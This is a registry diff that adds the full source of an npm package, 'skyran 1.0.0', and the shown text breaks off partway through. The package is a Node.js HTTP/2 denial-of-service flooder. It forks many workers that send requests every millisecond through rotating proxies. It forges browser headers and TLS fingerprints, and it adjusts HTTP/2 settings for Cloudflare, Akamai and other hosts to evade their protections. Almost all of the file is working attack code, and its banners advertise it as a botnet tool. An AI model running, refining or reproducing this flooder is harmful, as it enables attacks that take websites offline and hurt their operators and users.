skyran 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,856 @@
1
+ const net = require("net");
2
+ const http2 = require("http2");
3
+ const http = require('http');
4
+ const tls = require("tls");
5
+ const cluster = require("cluster");
6
+ const url = require("url");
7
+ const dns = require('dns');
8
+ const util = require('util');
9
+ const socks = require('socks').SocksClient;
10
+ const crypto = require("crypto");
11
+ const HPACK = require('hpack');
12
+ const fs = require("fs");
13
+ const os = require("os");
14
+ const colors = require("colors");
15
+ const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":");
16
+ const ciphers = "GREASE:" + [
17
+ defaultCiphers[2],
18
+ defaultCiphers[1],
19
+ defaultCiphers[0],
20
+ ...defaultCiphers.slice(3)
21
+ ].join(":");
22
+ function encodeSettings(settings) {
23
+ const data = Buffer.alloc(6 * settings.length);
24
+ settings.forEach(([id, value], i) => {
25
+ data.writeUInt16BE(id, i * 6);
26
+ data.writeUInt32BE(value, i * 6 + 2);
27
+ });
28
+ return data;
29
+ }
30
+
31
+ const urihost = [
32
+ 'google.com',
33
+ 'youtube.com',
34
+ 'facebook.com',
35
+ 'baidu.com',
36
+ 'wikipedia.org',
37
+ 'twitter.com',
38
+ 'amazon.com',
39
+ 'yahoo.com',
40
+ 'reddit.com',
41
+ 'netflix.com'
42
+ ];
43
+ clength = urihost[Math.floor(Math.random() * urihost.length)]
44
+ function encodeFrame(streamId, type, payload = "", flags = 0) {
45
+ const frame = Buffer.alloc(9 + payload.length);
46
+ frame.writeUInt32BE(payload.length << 8 | type, 0);
47
+ frame.writeUInt8(flags, 4);
48
+ frame.writeUInt32BE(streamId, 5);
49
+ if (payload.length > 0) frame.set(payload, 9);
50
+ return frame;
51
+ }
52
+
53
+ function getRandomInt(min, max) {
54
+ return Math.floor(Math.random() * (max - min + 1)) + min;
55
+ }
56
+
57
+
58
+ function randomIntn(min, max) {
59
+ return Math.floor(Math.random() * (max - min + 1)) + min;
60
+ }
61
+ function randomElement(elements) {
62
+ return elements[randomIntn(0, elements.length)];
63
+ }
64
+
65
+ function randstr(length) {
66
+ const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
67
+ let result = "";
68
+ const charactersLength = characters.length;
69
+ for (let i = 0; i < length; i++) {
70
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
71
+ }
72
+ return result;
73
+ }
74
+ function generateRandomString(minLength, maxLength) {
75
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
76
+ const length = Math.floor(Math.random() * (maxLength - minLength + 1)) + minLength;
77
+ const randomStringArray = Array.from({ length }, () => {
78
+ const randomIndex = Math.floor(Math.random() * characters.length);
79
+ return characters[randomIndex];
80
+ });
81
+
82
+ return randomStringArray.join('');
83
+ }
84
+
85
+ function randnum(minLength, maxLength) {
86
+ const characters = '0123456789';
87
+ const length = Math.floor(Math.random() * (maxLength - minLength + 1)) + minLength;
88
+ const randomStringArray = Array.from({
89
+ length
90
+ }, () => {
91
+ const randomIndex = Math.floor(Math.random() * characters.length);
92
+ return characters[randomIndex];
93
+ });
94
+ return randomStringArray.join('');
95
+ }
96
+ const cplist = [
97
+ "TLS_AES_128_CCM_8_SHA256",
98
+ "TLS_AES_128_CCM_SHA256",
99
+ "TLS_CHACHA20_POLY1305_SHA256",
100
+ "TLS_AES_256_GCM_SHA384",
101
+ "TLS_AES_128_GCM_SHA256"
102
+ ];
103
+ var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))];
104
+ ignoreNames = ['RequestError', 'StatusCodeError', 'CaptchaError', 'CloudflareError', 'ParseError', 'ParserError', 'TimeoutError', 'JSONError', 'URLError', 'InvalidURL', 'ProxyError'], ignoreCodes = ['SELF_SIGNED_CERT_IN_CHAIN', 'ECONNRESET', 'ERR_ASSERTION', 'ECONNREFUSED', 'EPIPE', 'EHOSTUNREACH', 'ETIMEDOUT', 'ESOCKETTIMEDOUT', 'EPROTO', 'EAI_AGAIN', 'EHOSTDOWN', 'ENETRESET', 'ENETUNREACH', 'ENONET', 'ENOTCONN', 'ENOTFOUND', 'EAI_NODATA', 'EAI_NONAME', 'EADDRNOTAVAIL', 'EAFNOSUPPORT', 'EALREADY', 'EBADF', 'ECONNABORTED', 'EDESTADDRREQ', 'EDQUOT', 'EFAULT', 'EHOSTUNREACH', 'EIDRM', 'EILSEQ', 'EINPROGRESS', 'EINTR', 'EINVAL', 'EIO', 'EISCONN', 'EMFILE', 'EMLINK', 'EMSGSIZE', 'ENAMETOOLONG', 'ENETDOWN', 'ENOBUFS', 'ENODEV', 'ENOENT', 'ENOMEM', 'ENOPROTOOPT', 'ENOSPC', 'ENOSYS', 'ENOTDIR', 'ENOTEMPTY', 'ENOTSOCK', 'EOPNOTSUPP', 'EPERM', 'EPIPE', 'EPROTONOSUPPORT', 'ERANGE', 'EROFS', 'ESHUTDOWN', 'ESPIPE', 'ESRCH', 'ETIME', 'ETXTBSY', 'EXDEV', 'UNKNOWN', 'DEPTH_ZERO_SELF_SIGNED_CERT', 'UNABLE_TO_VERIFY_LEAF_SIGNATURE', 'CERT_HAS_EXPIRED', 'CERT_NOT_YET_VALID'];
105
+ process.on('uncaughtException', function(e) {
106
+ if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
107
+ }).on('unhandledRejection', function(e) {
108
+ if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
109
+ }).on('warning', e => {
110
+ if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
111
+ }).setMaxListeners(0);
112
+ require("events").EventEmitter.defaultMaxListeners = 0;
113
+ const sigalgs = [
114
+ "ecdsa_secp256r1_sha256",
115
+ "rsa_pss_rsae_sha256",
116
+ "rsa_pkcs1_sha256",
117
+ "ecdsa_secp384r1_sha384",
118
+ "rsa_pss_rsae_sha384",
119
+ "rsa_pkcs1_sha384",
120
+ "rsa_pss_rsae_sha512",
121
+ "rsa_pkcs1_sha512"
122
+ ]
123
+ let SignalsList = sigalgs.join(':')
124
+ const ecdhCurve = "GREASE:X25519:x25519:P-256:P-384:P-521:X448";
125
+ const secureOptions =
126
+ crypto.constants.SSL_OP_NO_SSLv2 |
127
+ crypto.constants.SSL_OP_NO_SSLv3 |
128
+ crypto.constants.SSL_OP_NO_TLSv1 |
129
+ crypto.constants.SSL_OP_NO_TLSv1_1 |
130
+ crypto.constants.SSL_OP_NO_TLSv1_3 |
131
+ crypto.constants.ALPN_ENABLED |
132
+ crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
133
+ crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
134
+ crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
135
+ crypto.constants.SSL_OP_COOKIE_EXCHANGE |
136
+ crypto.constants.SSL_OP_PKCS1_CHECK_1 |
137
+ crypto.constants.SSL_OP_PKCS1_CHECK_2 |
138
+ crypto.constants.SSL_OP_SINGLE_DH_USE |
139
+ crypto.constants.SSL_OP_SINGLE_ECDH_USE |
140
+ crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
141
+ if (process.argv.length < 7){console.log(`Usage: host time req thread proxy.txt `); process.exit();}
142
+ const secureProtocol = "TLS_method";
143
+ const headers = {};
144
+
145
+ const secureContextOptions = {
146
+ ciphers: ciphers,
147
+ sigalgs: SignalsList,
148
+ honorCipherOrder: true,
149
+ secureOptions: secureOptions,
150
+ secureProtocol: secureProtocol
151
+ };
152
+
153
+ const secureContext = tls.createSecureContext(secureContextOptions);
154
+ const args = {
155
+ target: process.argv[2],
156
+ time: ~~process.argv[3],
157
+ Rate: ~~process.argv[4],
158
+ threads: ~~process.argv[5],
159
+ proxyFile: process.argv[6],
160
+ }
161
+
162
+
163
+ var proxies = readLines(args.proxyFile);
164
+ const parsedTarget = url.parse(args.target);
165
+ class NetSocket {
166
+ constructor(){}
167
+
168
+ async SOCKS5(options, callback) {
169
+
170
+ const address = options.address.split(':');
171
+ socks.createConnection({
172
+ proxy: {
173
+ host: options.host,
174
+ port: options.port,
175
+ type: 5
176
+ },
177
+ command: 'connect',
178
+ destination: {
179
+ host: address[0],
180
+ port: +address[1]
181
+ }
182
+ }, (error, info) => {
183
+ if (error) {
184
+ return callback(undefined, error);
185
+ } else {
186
+ return callback(info.socket, undefined);
187
+ }
188
+ });
189
+ }
190
+ HTTP(options, callback) {
191
+ const parsedAddr = options.address.split(":");
192
+ const addrHost = parsedAddr[0];
193
+ const payload = `CONNECT ${options.address}:443 HTTP/1.1\r\nHost: ${options.address}:443\r\nProxy-Connection: Keep-Alive\r\n\r\n`;
194
+ const buffer = new Buffer.from(payload);
195
+ const connection = net.connect({
196
+ host: options.host,
197
+ port: options.port,
198
+ });
199
+
200
+ connection.setTimeout(options.timeout * 100000);
201
+ connection.setKeepAlive(true, 100000);
202
+ connection.setNoDelay(true)
203
+ connection.on("connect", () => {
204
+ connection.write(buffer);
205
+ });
206
+
207
+ connection.on("data", chunk => {
208
+ const response = chunk.toString("utf-8");
209
+ const isAlive = response.includes("HTTP/1.1 200");
210
+ if (isAlive === false) {
211
+ connection.destroy();
212
+ return callback(undefined, "error: invalid response from proxy server");
213
+ }
214
+ return callback(connection, undefined);
215
+ });
216
+
217
+ connection.on("timeout", () => {
218
+ connection.destroy();
219
+ return callback(undefined, "error: timeout exceeded");
220
+ });
221
+
222
+ }
223
+ }
224
+
225
+
226
+ const Socker = new NetSocket();
227
+
228
+ function readLines(filePath) {
229
+ return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
230
+ }
231
+
232
+
233
+ const lookupPromise = util.promisify(dns.lookup);
234
+ let val;
235
+ let isp;
236
+ let pro;
237
+
238
+ async function getIPAndISP(url) {
239
+ try {
240
+ const { address } = await lookupPromise(url);
241
+ const apiUrl = `http://ip-api.com/json/${address}`;
242
+ const response = await fetch(apiUrl);
243
+ if (response.ok) {
244
+ const data = await response.json();
245
+ isp = data.isp;
246
+ console.log('ISP FOUND ', url, ':', isp);
247
+ } else {
248
+ return;
249
+ }
250
+ } catch (error) {
251
+ return;
252
+ }
253
+ }
254
+
255
+ const targetURL = parsedTarget.host;
256
+
257
+ getIPAndISP(targetURL);
258
+ const MAX_RAM_PERCENTAGE = 85;
259
+ const RESTART_DELAY = 1000;
260
+
261
+ function getRandomHeapSize() {
262
+ // Random t? 512MB d?n 2048MB
263
+ const min = 1000;
264
+ const max = 6222;
265
+ return Math.floor(Math.random() * (max - min + 1)) + min;
266
+ }
267
+ if (cluster.isMaster) {
268
+ console.clear();
269
+ console.log(`@SENDMEMORESERVER`.bgRed), console.log(`[!] CRISXTOP`);
270
+ console.log(`--------------------------------------------`.gray);
271
+ console.log(`Target: `.red + process.argv[2].white);
272
+ console.log(`Time: `.red + process.argv[3].white);
273
+ console.log(`Rate: `.red + process.argv[4].white);
274
+ console.log(`Thread: `.red + process.argv[5].white);
275
+ console.log(`ProxyFile: `.red + process.argv[6].white);
276
+ console.log(`--------------------------------------------`.gray);
277
+ console.log(`Note: Only work on http/2 or http/1.1 `.brightCyan);
278
+
279
+ const restartScript = () => {
280
+ for (const id in cluster.workers) {
281
+ cluster.workers[id].kill();
282
+ }
283
+
284
+ console.log('[>] Restarting the script', RESTART_DELAY, 'ms...');
285
+ setTimeout(() => {
286
+ for (let counter = 1; counter <= args.threads; counter++) {
287
+ const heapSize = getRandomHeapSize();
288
+ cluster.fork({ NODE_OPTIONS: `--max-old-space-size=${heapSize}` });
289
+ }
290
+ }, RESTART_DELAY);
291
+ };
292
+
293
+ const handleRAMUsage = () => {
294
+ const totalRAM = os.totalmem();
295
+ const usedRAM = totalRAM - os.freemem();
296
+ const ramPercentage = (usedRAM / totalRAM) * 100;
297
+
298
+ if (ramPercentage >= MAX_RAM_PERCENTAGE) {
299
+ console.log('[!] Maximum RAM usage:', ramPercentage.toFixed(2), '%');
300
+ restartScript();
301
+ }
302
+ };
303
+
304
+ setInterval(handleRAMUsage, 5000);
305
+
306
+ for (let counter = 1; counter <= args.threads; counter++) {
307
+ const heapSize = getRandomHeapSize();
308
+ cluster.fork({ NODE_OPTIONS: `--max-old-space-size=${heapSize}` });
309
+ }
310
+ } else {
311
+ setInterval(runFlooder, 1); // Gi? s? runFlooder du?c d?nh nghia v� g?i m?i gi�y
312
+ }
313
+ function runFlooder() {
314
+ const proxyAddr = randomElement(proxies);
315
+ const parsedProxy = proxyAddr.split(":");
316
+ const parsedPort = parsedTarget.protocol == "https:" ? "443" : "80";
317
+ function randstr(length) {
318
+ const characters = "0123456789";
319
+ let result = "";
320
+ const charactersLength = characters.length;
321
+ for (let i = 0; i < length; i++) {
322
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
323
+ }
324
+ return result;
325
+ };
326
+ function taoDoiTuongNgauNhien() {
327
+ const doiTuong = {};
328
+ function getRandomNumber(min, max) {
329
+ return Math.floor(Math.random() * (max - min + 1)) + min;
330
+ }
331
+ maxi = getRandomNumber(2,3)
332
+ for (let i = 1; i <=maxi ; i++) {
333
+
334
+
335
+
336
+ const key = 'cf-sec-'+ generateRandomString(1,9)
337
+
338
+ const value = generateRandomString(1,10) + '-' + generateRandomString(1,12) + '=' +generateRandomString(1,12)
339
+
340
+ doiTuong[key] = value;
341
+ }
342
+
343
+ return doiTuong;
344
+ }
345
+ const browsers = ["chrome", "safari", "brave", "firefox", "mobile", "opera", "operagx"];
346
+ const getRandomBrowser = () => {
347
+ const randomIndex = Math.floor(Math.random() * browsers.length);
348
+ return browsers[randomIndex];
349
+ };
350
+ const generateHeaders = (browser) => {
351
+ const versions = {
352
+ chrome: { min: 115, max: 124 },
353
+ safari: { min: 12, max: 16 },
354
+ brave: { min: 115, max: 124 },
355
+ firefox: { min: 99, max: 112 },
356
+ mobile: { min: 85, max: 105 },
357
+ opera: { min: 70, max: 90 },
358
+ operagx: { min: 70, max: 90 }
359
+ };
360
+
361
+ const version = Math.floor(Math.random() * (versions[browser].max - versions[browser].min + 1)) + versions[browser].min;
362
+ const fullVersions = {
363
+ brave: "90.0.4430.212",
364
+ chrome: "90.0.4430.212",
365
+ firefox: "88.0",
366
+ safari: "14.1",
367
+ mobile: "90.0.4430.212",
368
+ opera: "90.0.4430.212",
369
+ operagx: "90.0.4430.212"
370
+ };
371
+
372
+ // T?o header "Sec-CH-UA-Full-Version-List" t? gi? tr? full version
373
+ const secChUAFullVersionList = Object.keys(fullVersions)
374
+ .map(key => `"${key}";v="${fullVersions[key]}"`)
375
+ .join(", ");
376
+ const platforms = {
377
+ chrome: "Win64",
378
+ safari: "macOS",
379
+ brave: "Linux",
380
+ firefox: "Linux",
381
+ mobile: "Android",
382
+ opera: "Linux",
383
+ operagx: "Linux"
384
+ };
385
+ const platform = platforms[browser];
386
+
387
+ const userAgent = {
388
+ chrome: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${version}.0.0.0 Safari/537.36`,
389
+ safari: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_${version}_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/${version}.0 Safari/605.1.15`,
390
+ brave: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${version}.0.0.0 Safari/537.36`,
391
+ firefox: `Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:${version}.0) Gecko/20100101 Firefox/${version}.0`,
392
+ mobile: `Mozilla/5.0 (Linux; Android 10; Mobile) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${version}.0.0.0 Mobile Safari/537.36`,
393
+ opera: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${version}.0.0.0 Safari/537.36`,
394
+ operagx: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${version}.0.0.0 Safari/537.36`
395
+ };
396
+ const secFetchUser = Math.random() <0.75 ?"?1;?1":"?1";
397
+ const secChUaMobile = browser === "mobile" ? "?1" : "?0";
398
+ const acceptEncoding = Math.random() < 0.5 ? "gzip, deflate, br, zstd" : "gzip, deflate, br";
399
+ const accept = Math.random() < 0.5 ? "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" : "application/json";
400
+ const headersMap = {
401
+ brave: {
402
+ ":method": "GET",
403
+ ":authority": Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
404
+ ":scheme": "https",
405
+ ":path": parsedTarget.path,
406
+ "sec-ch-ua": `Chromium";v="${version}", "Google Chrome";v="${version}", "Not-A.Brand";v="99"`,
407
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
408
+ "accept": `${accept}`,
409
+ "Pragma": "no-cache",
410
+ "user-agent": userAgent.brave,
411
+ "sec-fetch-user": `${secFetchUser}`,
412
+ "accept-encoding": `${acceptEncoding}`,
413
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
414
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.brave
415
+ },
416
+ chrome: {
417
+ ":method": "GET",
418
+ ":authority": Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
419
+ ":scheme": "https",
420
+ ":path": parsedTarget.path,
421
+ "sec-ch-ua": `"Chromium";v="${version}", "Google Chrome";v="${version}", "Not-A.Brand";v="99"`,
422
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
423
+ "accept": `${accept}`,
424
+ "Pragma": "no-cache",
425
+ "user-agent": userAgent.chrome,
426
+ "sec-fetch-user": `${secFetchUser}`,
427
+ "accept-encoding": `${acceptEncoding}`,
428
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
429
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.chrome
430
+ },
431
+ firefox: {
432
+ ":method": "GET",
433
+ ":authority": Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
434
+ ":scheme": "https",
435
+ ":path": parsedTarget.path,
436
+ "sec-ch-ua": `"Firefox";v="${version}", "Gecko";v="20100101", "Mozilla";v="${version}"`,
437
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
438
+ "accept": `${accept}`,
439
+ "Pragma": "no-cache",
440
+ "user-agent": userAgent.firefox,
441
+ "sec-fetch-user": `${secFetchUser}`,
442
+ "accept-encoding": `${acceptEncoding}`,
443
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
444
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.firefox
445
+ },
446
+ safari: {
447
+ ":method": "GET",
448
+ ":authority": Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
449
+ ":scheme": "https",
450
+ ":path": parsedTarget.path,
451
+ "sec-ch-ua": `"Safari";v="${version}", "AppleWebKit";v="605.1.15", "Not-A.Brand";v="99"`,
452
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
453
+ "accept": `${accept}`,
454
+ "Pragma": "no-cache",
455
+ "user-agent": userAgent.safari,
456
+ "sec-fetch-user": `${secFetchUser}`,
457
+ "accept-encoding": `${acceptEncoding}`,
458
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
459
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.safari
460
+ },
461
+ mobile: {
462
+ ":method": "GET",
463
+ ":authority": Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
464
+ ":scheme": "https",
465
+ ":path": parsedTarget.path,
466
+ "sec-ch-ua": `"Chromium";v="${version}", "Mobile";v="${version}", "Not-A.Brand";v="99"`,
467
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
468
+ "accept": `${accept}`,
469
+ "Pragma": "no-cache",
470
+ "user-agent": userAgent.mobile,
471
+ "sec-fetch-user": `${secFetchUser}`,
472
+ "accept-encoding": `${acceptEncoding}`,
473
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
474
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.mobile
475
+ },
476
+ opera: {
477
+ ":method": "GET",
478
+ ":authority":Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
479
+ ":scheme": "https",
480
+ ":path": parsedTarget.path,
481
+ "sec-ch-ua": `"Chromium";v="${version}", "Opera";v="${version}", "Not-A.Brand";v="99"`,
482
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
483
+ "accept": `${accept}`,
484
+ "Pragma": "no-cache",
485
+ "user-agent": userAgent.operagx,
486
+ "sec-fetch-user": `${secFetchUser}`,
487
+ "accept-encoding": `${acceptEncoding}`,
488
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
489
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.opera
490
+ },
491
+ operagx: {
492
+ ":method": "GET",
493
+ ":authority":Math.random() < 0.5 ? parsedTarget.host + (Math.random() < 0.5 ? '.' : '') : ('www.'+ parsedTarget.host + (Math.random() < 0.5 ? '.' : '')),
494
+ ":scheme": "https",
495
+ ":path": parsedTarget.path,
496
+ "sec-ch-ua": `"Chromium";v="${version}", "Opera GX";v="${version}", "Not-A.Brand";v="99"`,
497
+ "sec-ch-ua-mobile": `${secChUaMobile}`,
498
+ "accept": `${accept}`,
499
+ "Pragma": "no-cache",
500
+ "user-agent": userAgent.operagx,
501
+ "sec-fetch-user": `${secFetchUser}`,
502
+ "accept-encoding": `${acceptEncoding}`,
503
+ "accept-language": "ru,en-US;q=0.9,en;q=0.8",
504
+ "Sec-CH-UA-Full-Version-List": secChUAFullVersionList.operagx
505
+ }
506
+ };
507
+
508
+ return headersMap[browser];
509
+ };
510
+ const browser = getRandomBrowser();
511
+ const headers = generateHeaders(browser);
512
+ function getWeightedRandom() {
513
+ const randomValue = Math.random() * Math.random();
514
+ return randomValue < 0.25;
515
+ }
516
+ const randomString = randstr(10);
517
+ const rateHeaders1 = [
518
+ {"X-Forwarded-For": parsedProxy[0] },
519
+ {"source-ip" : randstr(5)},
520
+ {"Vary" : randstr(5)},
521
+ {"Attribution-Reporting-Eligible" : "trigger"},
522
+ ];
523
+ const rateHeaders2 = [
524
+ { "TTL-3": "1.5" },
525
+ {"From-Unknown-Botnet" : "Crisx12012"},
526
+ ];
527
+ const rateHeaders3 = [
528
+ { "A-IM": "Feed" },
529
+ {"dnt" : 1},
530
+ {"content-security-policy-report-only": "report-uri https://reporting.go-mpulse.net/report/FDSGP-LEB9B-T8Y2A-5V5ED-9WX2T"},
531
+ ];
532
+ const rateHeaders4 = [
533
+ {"Service-Worker-Navigation-Preload" : "true"},
534
+ {"Supports-Loading-Mode" : "credentialed-prerender"},
535
+ { "pragma": "no-cache" },
536
+ { "data-return" : "false"},
537
+ ];
538
+ const rhd = [
539
+ {'RTT': Math.floor(Math.random() * (400 - 600 + 1)) + 100},
540
+ {"X-Forwarded-Proto": "https"},
541
+ {'Nel': '{ "report_to": "name_of_reporting_group", "max_age": 12345, "include_subdomains": false, "success_fraction": 0.0, "failure_fraction": 1.0 }'},
542
+ ]
543
+ const hd1 = [
544
+ {'Accept-Range': Math.random() < 0.5 ? 'bytes' : 'none'},
545
+ {'Delta-Base' : '12340001'},
546
+ {"te": "trailers"},
547
+ ]
548
+ const headers4 = {
549
+ ...(Math.random() < 0.5 ?{"akamai-grn": "0.14965468.1718719936.1009b53"} : {} ),
550
+
551
+ ...(Math.random() < 0.5 ?{"x-akam-sw-version": "0.5.0"} : {} ),
552
+ ...(Math.random() < 0.5 ?{"x-akamai-transformed": "9 - 0 pmb=mNONE,1mTOE,1mRUM,4"} : {} ),
553
+ ...(getWeightedRandom() && Math.random() < 0.4 && { 'x-forwarded-for': `${randomString}:${randomString}` }),
554
+ ...(Math.random() < 0.75 ?{"referer": "https:/" +clength} :{}),
555
+ ...(Math.random() < 0.75 ?{"origin": Math.random() < 0.5 ? "https://" + clength + (Math.random() < 0.5 ? ":" + randnum(4) + '/' : '@root/'): "https://"+ (Math.random() < 0.5 ?'root-admin.': 'root-root.') +clength}:{}),
556
+ }
557
+
558
+ let allHeaders = Object.assign({}, headers, headers4);
559
+ dyn = {
560
+ ...(Math.random() < 0.5 ?{"cf-mitigated": "challenge"} : {} ),
561
+ ...(Math.random() < 0.5 ?{"origin-agent-cluster": "?1"} : {} ),
562
+ ...(Math.random() < 0.5 ? {"Observe-Browsing-Topics" : "?1"} : {}),
563
+ ...(Math.random() < 0.5 ?{['client-x-with-'+ generateRandomString(1,9)]: generateRandomString(1,10) + '-' + generateRandomString(1,12) + '=' +generateRandomString(1,12)} : {}),
564
+ ...(Math.random() < 0.5 ?{['cf-sec-with-from-'+ generateRandomString(1,9)]: generateRandomString(1,10) + '-' + generateRandomString(1,12) + '=' +generateRandomString(1,12)} : {}),
565
+ ...(Math.random() < 0.5 ?{['user-x-with-'+ generateRandomString(1,9)]: generateRandomString(1,10) + '-' + generateRandomString(1,12) + '=' +generateRandomString(1,12)} : {}),
566
+ ['nodejs-c-python-'+ generateRandomString(1,9)]: generateRandomString(1,10) + '-' + generateRandomString(1,12) + '=' +generateRandomString(1,12),
567
+
568
+ },
569
+ dyn2 = {
570
+ ...(Math.random() < 0.5 ?{"upgrade-insecure-requests": "1"} : {}),
571
+ ...(Math.random() < 0.5 ? { "purpose": "prefetch"} : {} ),
572
+ }
573
+
574
+ const proxyOptions = {
575
+ host: parsedProxy[0],
576
+ port: ~~parsedProxy[1],
577
+ address: `${parsedTarget.host}:443`,
578
+ timeout: 10
579
+ };
580
+
581
+ Socker.HTTP(proxyOptions, async (connection, error) => {
582
+ if (error) return;
583
+ connection.setKeepAlive(true, 600000);
584
+ connection.setNoDelay(true);
585
+
586
+ const settings = {
587
+ initialWindowSize: 15663105,
588
+ };
589
+
590
+ const tlsOptions = {
591
+ secure: true,
592
+ ALPNProtocols: ["h2", "http/1.1"],
593
+ ciphers: cipper,
594
+ requestCert: true,
595
+ sigalgs: sigalgs,
596
+ socket: connection,
597
+ ecdhCurve: ecdhCurve,
598
+ secureContext: secureContext,
599
+ honorCipherOrder: false,
600
+ rejectUnauthorized: false,
601
+ secureProtocol: Math.random() < 0.5 ? 'TLSv1_3_method' : 'TLSv1_2_method',
602
+ secureOptions: secureOptions,
603
+ host: parsedTarget.host,
604
+ servername: parsedTarget.host,
605
+ };
606
+
607
+ const tlsSocket = tls.connect(parsedPort, parsedTarget.host, tlsOptions, () => {
608
+ const ja3Fingerprint = generateJA3Fingerprint(tlsSocket);
609
+ tlsSocket.allowHalfOpen = true;
610
+ tlsSocket.setNoDelay(true);
611
+ tlsSocket.setKeepAlive(true, 60000);
612
+ tlsSocket.setMaxListeners(0);
613
+
614
+ });
615
+
616
+ function generateJA3Fingerprint(socket) {
617
+ const cipherInfo = socket.getCipher();
618
+ const supportedVersions = socket.getProtocol();
619
+
620
+ if (!cipherInfo) {
621
+ console.error('Cipher info is not available. TLS handshake may not have completed.');
622
+ return null;
623
+ }
624
+
625
+ const ja3String = `${cipherInfo.name}-${cipherInfo.version}:${supportedVersions}:${cipherInfo.bits}`;
626
+
627
+ const md5Hash = crypto.createHash('md5');
628
+ md5Hash.update(ja3String);
629
+
630
+ return md5Hash.digest('hex');
631
+ }
632
+
633
+ tlsSocket.on('connect', () => {
634
+ const ja3Fingerprint = generateJA3Fingerprint(tlsSocket);
635
+ });
636
+
637
+
638
+ function getSettingsBasedOnISP(isp) {
639
+ const defaultSettings = {
640
+ headerTableSize: 65536,
641
+ initialWindowSize: Math.random() < 0.5 ? 6291456: 33554432,
642
+ maxHeaderListSize: 262144,
643
+ enablePush: false,
644
+ maxConcurrentStreams: Math.random() < 0.5 ? 100 : 1000,
645
+ maxFrameSize: 16384,
646
+ enableConnectProtocol: false,
647
+ };
648
+
649
+ const settings = { ...defaultSettings };
650
+
651
+ switch (isp) {
652
+ case 'Cloudflare, Inc.':
653
+ settings.priority = 1;
654
+ settings.headerTableSize = 65536;
655
+ settings.maxConcurrentStreams = 1000;
656
+ settings.initialWindowSize = 6291456;
657
+ settings.maxFrameSize = 16384;
658
+ settings.enableConnectProtocol = false;
659
+ break;
660
+ case 'FDCservers.net':
661
+ case 'OVH SAS':
662
+ case 'VNXCLOUD':
663
+ settings.priority = 0;
664
+ settings.headerTableSize = 4096;
665
+ settings.initialWindowSize = 65536;
666
+ settings.maxFrameSize = 16777215;
667
+ settings.maxConcurrentStreams = 128;
668
+ settings.maxHeaderListSize = 4294967295;
669
+ break;
670
+ case 'Akamai Technologies, Inc.':
671
+ case 'Akamai International B.V.':
672
+ settings.priority = 1;
673
+ settings.headerTableSize = 65536;
674
+ settings.maxConcurrentStreams = 1000;
675
+ settings.initialWindowSize = 6291456;
676
+ settings.maxFrameSize = 16384;
677
+ settings.maxHeaderListSize = 32768;
678
+ break;
679
+ case 'Fastly, Inc.':
680
+ case 'Optitrust GmbH':
681
+ settings.priority = 0;
682
+ settings.headerTableSize = 4096;
683
